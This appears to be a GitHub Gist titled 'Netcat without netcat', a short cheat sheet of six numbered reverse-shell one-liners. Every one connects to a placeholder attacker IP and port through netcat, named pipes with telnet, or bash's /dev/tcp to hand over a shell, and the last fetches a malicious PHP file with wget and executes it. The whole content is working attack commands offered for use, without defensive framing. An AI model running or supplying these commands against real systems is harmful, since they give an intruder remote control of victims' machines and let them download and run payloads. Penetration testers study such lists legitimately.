Last active
June 20, 2024 14:29
-
-
Save sckalath/89590ef81557f3a87ef0 to your computer and use it in GitHub Desktop.
Netcat without netcat
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#1 | |
nc <attacker_ip> <port> -e /bin/bash | |
#2 | |
mknod backpipe p; nc <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe | |
#3 | |
/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1 | |
#4 | |
mknod backpipe p; telnet <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe | |
#5 | |
telnet <attacker_ip> <1st_port> | /bin/bash | telnet <attacker_ip> <2nd_port> | |
#7 | |
wget -O /tmp/bd.php <url_to_malicious_file> && php -f /tmp/bd.php |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment